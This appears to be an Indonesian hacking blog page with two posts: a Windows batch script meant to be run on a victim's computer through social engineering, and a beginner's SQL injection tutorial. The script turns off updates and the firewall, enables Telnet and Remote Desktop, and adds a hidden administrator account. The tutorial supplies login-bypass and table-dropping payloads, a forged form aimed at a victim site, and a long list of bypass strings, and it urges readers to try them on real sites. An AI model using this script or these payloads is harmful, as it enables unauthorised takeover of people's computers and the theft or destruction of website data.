Tampilkan postingan dengan label Server. Tampilkan semua postingan
Tampilkan postingan dengan label Server. Tampilkan semua postingan

Rabu, 09 Maret 2016

Script Instan Remote Dekstop Protokol

Cara remote komputer orang lain dengan cmd mungkin membutuhkan beberapa kode cmd dengan cara step by step,tapi kali ini saya akan share script instan rdp tinggal run saja tanpa repot setting ganti admin user dan lain-lain.Script ini memang agak berbahaya karena bisa mematikan firewall dan add administrator baru di komputer lain.memang tujuan dari script ini untuk kegiatan hacking komputer atau laptop orang lain.Jika beda atau tidak dalam satu jaringan seperti jaringan LAN atau Wifi harus mempunyai server sendiri untuk remote dan sebagai host server.Gunakanlah layanan hosting server atau vps gratis bisa dicari di google search.

Langsung saja tulis scriptnya atau bisa copy paste di notepad
1.pertama buka dulu notepad dengan cara Run>notepad>enter atau tekan tombol windows +R>Notepad>enter.
2.
@echo off

REM ****************
REM Disable off "AUTO UPDATE"
REM ****************
sc config wuauserv start= disabled
net stop wuauserv

REM ****************
REM Disable windows xp Firewall
REM ****************
netsh firewall set opmode disable

REM ****************
REM Enable TELNET
REM ****************
sc config tlntsvr start= auto
net start telnet

REM ****************
REM Enable Remote Desktop
REM ****************
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

REM ***************
REM Create a HIDDEN USER usr= hack007, pass= dani
REM ***************
net user hacker007 dani /add
net localgroup "Administrators" /add hacker007
net localgroup "Users" /del hacker007
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v hacker007 /t REG_DWORD /d 0 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v dontdisplaylastusername /t REG_DWORD /d 1 /f

3.Simpan dengan extensi .Bat contoh RDP.BAT    >(gunakan teknik sosial engginering)
hack pc

4.file harus dijalankan atau Run di komputer orang lain(target)

5.id password bisa diganti dengan versi kamu sendiri...digunakan untuk login di windows

6.ingat scrip diatas hanya untuk dalam satu jaringan saja misalnya LAN/hotspot WIFI

Tolong gunakanlah dengan bijak,dan baca artikel lainnya di blog ini.jika berhasil anda mempunyai hak full akses di komputer target.anda bisa lihat apa yang ada di folder/menghapus foldel dll.Seperti anda yang mempunyai pc/laptop tersebut.
terima kasih sudah berkunjung

Kamis, 14 Januari 2016

Pemahaman Dasar Apa Itu Sql Injection Dan Fungsinya

Sebelum membahas tentang Bagaimana sql injection itu pertama-tama saya akan menerangkan apa itu sql injection dan kenapa hal itu bisa terjadi.
Sebenernya SQL injection terjadi ketika attacker bisa meng insertkan beberapa SQL statement ke 'query' dengan cara manipulasi data input ke applikasi tersebut.
Diantara DB format seperti PHP + MySQL dan ASP + MSACCESS atau dengan MySql ,
disini saya cuma akan membahas tentang ASP+MsSql yang sudah dicoba pada IIS 5 dan beberapa sql injection pada url.
Biasanya Sql Injection dilakukan pada login page pada asp seperti di :
               admin\login.asp
               login.asp
Jadi yang akan menjadi target adalah page tersebut ,
sekarang kita mulai saja dengan dasar-dasar sql injection.
Biasanya di sql statment:
               select id, user_name, password from user
maksudnya perintah diatas menghasilkan data id,user_name dan password pada table user.
Biasanya pada login page dengan mengunakan statment result setnya sebagai berikut :

select id, user_name,password from user where name = 'echo' and password='password'

Pada IIS dan ASP apabila terdapat kesalahan syntax script akan diberi tau dan ditampilkan di browser
Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'jopi' SQL atau "Structured Query Language" 
seharusnya tidak menyentuh system calls. Tetapi tidak dengan MSSQL.
Nah,Tidak tahu kenapa karakter single quote 'breaks out' dari delimiter nya SQL  Jadi kalau misal ada inputan 
User: echo';drop table user--
dan akibatnya akan fatal , dan artinya adalah kita menghapus table user dan akan kosong deh tuh loginnya.
oh iya ini merukapan mark nya MSSQL, jadi perintah selanjutnya tidak di execute.
Sekarang untuk lebih jelasnya kita secara langsung pada login script seperti
input login + password. Nama field nya 'login' dan 'pass'. dan 
SQL nya di asp: var sql = select * from users where username='"+login+"' and password='"+pass"'";
coba kalau ada inputan: login: ';drop table users-- pass: chfn (*wink* negative)
pasti ke droplah tuh table usersnya.
Aduh dari pada pusing ya , gini deh cara gampangnya adalah kita lupakan saja yang diatas.kita langsung praktek saja:
Coba carilah disitus-situs yang menggunakan asp dan MsSql sebagai DB nya, lalu cari login.asp atau
admin\login.asp.
Kalau sudah dapat masukkan nih variable sql nya
user:admin 
pass:' or 1=1--
Raw end Task echo left 1

Ingat kita disini hanya coba-coba kali aja dba nya tidak terlalu pinter.
atau :
user:' or 1=1--
admin:' or 1=1--
Mas , tidak bisa nih gimana ya ?
Inget sekarang rata-rata para admin pada pinter semua , kita cari yang gampang saja deh untuk tes kalau ga, kamu bisa buat sendiri script dan tes karena gw sudah coba buat sendiri dan berhasil tanpa melakukan paket filter pada db nya .Untuk test apakah suatu page mempunyai vulnerable,begini caranya :
Kalian pernah melihat pada halaman-halaman ASP,JSP,PHP dan CGI yang didalam addressnya :
http://vivtim/index.asp?id=10
Selain kita test dengan login page diatas tadi , kita test dalam melakukan sedikit tambahan
pada addressnya seperti memasukan : test'1=1-- 
menjadi http://victim/index.asp?id=test'1=1--
Kita juga bisa juga melakukan xss dengan sql injection ini , coba download source HTML dari page target
lalu kita tamhankan hidden field pada source tersebut sebagai contoh :
               <FORM action=http://victim/admin/login.asp method=post>
               <input type=hidden name=A value="test' or 1=1--">
               </FORM>
Apabila beruntung kita apabila membuka page tersebut tidak perlu memasukan password dan username.
ingat script ini ditambahkan pada script yang sudah kalian download dari target .
                                                             
                                                             Variable ' or 1=1--
Mungkin ada yang bertanya-tanya kenapa mengunakan variable 'or 1=1-- dan sangat penting.Lihat contoh pada sebuah web tertulis http://victim/index.asp?category=laptop
Dalam url tesebut category adalah variable name dan komputer adalah masukan untuk variable name tersebut.
Kalau ditulis dalam script ASP maka akan menjadi :
               v_cat = request("category")
               sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
               set rs=conn.execute(sqlstr)
Data yang kita masukan seperti komputer akan masuk ke dalam v_cat variable dan pada sql statment menjadi
               SELECT * FROM product WHERE PCategory='laptop'
lalu apa hub dengan 'or 1=1---
coba kalau kita ganti http://victim/index.asp?category=laptop menjadi
               http://victim/index.asp?category=laptop'or 1=1--
Kita lihat varible v_cat sekarang menjadi laptop'or 1=1-- lalu dalam SQL query nya menjadi
               SELECT * FROM product WHERE PCategory='laptop' or 1=1--'
artinya v_cat mendapatkan masukan berupa varibale laptop atau var 1=1(kosong) yang menyebabkan
Sql Server menjadi bingung dan akan mengeksekusi Select * pada table tersebut yang mengakibatkan
kita bisa masuk kedalam db teserbut dan db tersebut tidak berfungsi. Lalu tanda -- merupakan 
mark dari sql untuk ignore semua perintah. Bisa dibayangkan kalau terjadi pada login page
Kita bisa masuk kedalam login page tanpa password dan user name.
Kemungkinan-kemungkinan variable lainya :
               or 1=1--
               " or 1=1--
               or 1=1--
               ' or 'a'='a
               " or "a"="a
               ') or ('a'='a
               ' or 0=0 --
               " or 0=0 --
               or 0=0 --
               ' or 0=0 #
               " or 0=0 #
               or 0=0 #
               ' or 'x'='x
               " or "x"="x
               ') or ('x'='x
               ' or 1=1--
               " or 1=1--
               or 1=1--
               ' or a=a--
               " or "a"="a
               ') or ('a'='a
               ") or ("a"="a
               hi" or "a"="a
               hi" or 1=1 --
               hi' or 1=1 --
               hi' or 'a'='a
               hi') or ('a'='a
               hi") or ("a"="a
               
Selain masuk kedalam page tersebut kita juga bisa memanfaatkannya untuk remote execution dengan sql Injection
dan untuk artikel akan dimasukan dalam ezine 3 echo.or.id .Semoga artikel ini bermanfaat.
Pengunjung yang baik meninggalkan komentar dan share article ini.

Jumat, 04 Desember 2015

Tutorial Membuat Database MySql dan Xampp di CMD